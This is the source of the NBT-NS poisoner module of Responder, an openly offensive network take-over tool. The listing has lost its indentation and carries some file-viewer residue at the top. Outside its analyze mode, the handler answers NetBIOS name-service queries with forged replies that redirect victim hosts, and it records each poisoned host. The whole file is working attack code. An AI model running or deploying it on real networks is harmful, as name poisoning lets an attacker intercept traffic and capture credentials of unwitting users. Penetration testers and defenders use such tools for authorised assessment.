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65 lines
2.4 KiB
Python
Executable File
65 lines
2.4 KiB
Python
Executable File
#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import sys
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from packets import NBT_Ans
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from utils import *
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if (sys.version_info > (3, 0)):
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from socketserver import BaseRequestHandler
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else:
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from SocketServer import BaseRequestHandler
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# NBT_NS Server class.
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class NBTNS(BaseRequestHandler):
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def handle(self):
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try:
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data, socket = self.request
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Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
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# Break out if we don't want to respond to this host
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if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
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return None
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if data[2:4] == b'\x01\x10':
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if settings.Config.AnalyzeMode: # Analyze Mode
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print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
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SavePoisonersToDb({
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'Poisoner': 'NBT-NS',
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'SentToIp': self.client_address[0],
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'ForName': Name,
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'AnalyzeMode': '1',
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})
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else: # Poisoning Mode
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if settings.Config.TTL == None:
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Buffer1 = NBT_Ans()
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else:
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Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
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Buffer1.calculate(data)
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socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
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if not settings.Config.Quiet_Mode:
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LineHeader = "[*] [NBT-NS]"
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print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
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SavePoisonersToDb({
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'Poisoner': 'NBT-NS',
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'SentToIp': self.client_address[0],
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'ForName': Name,
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'AnalyzeMode': '0',
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})
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except:
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raise
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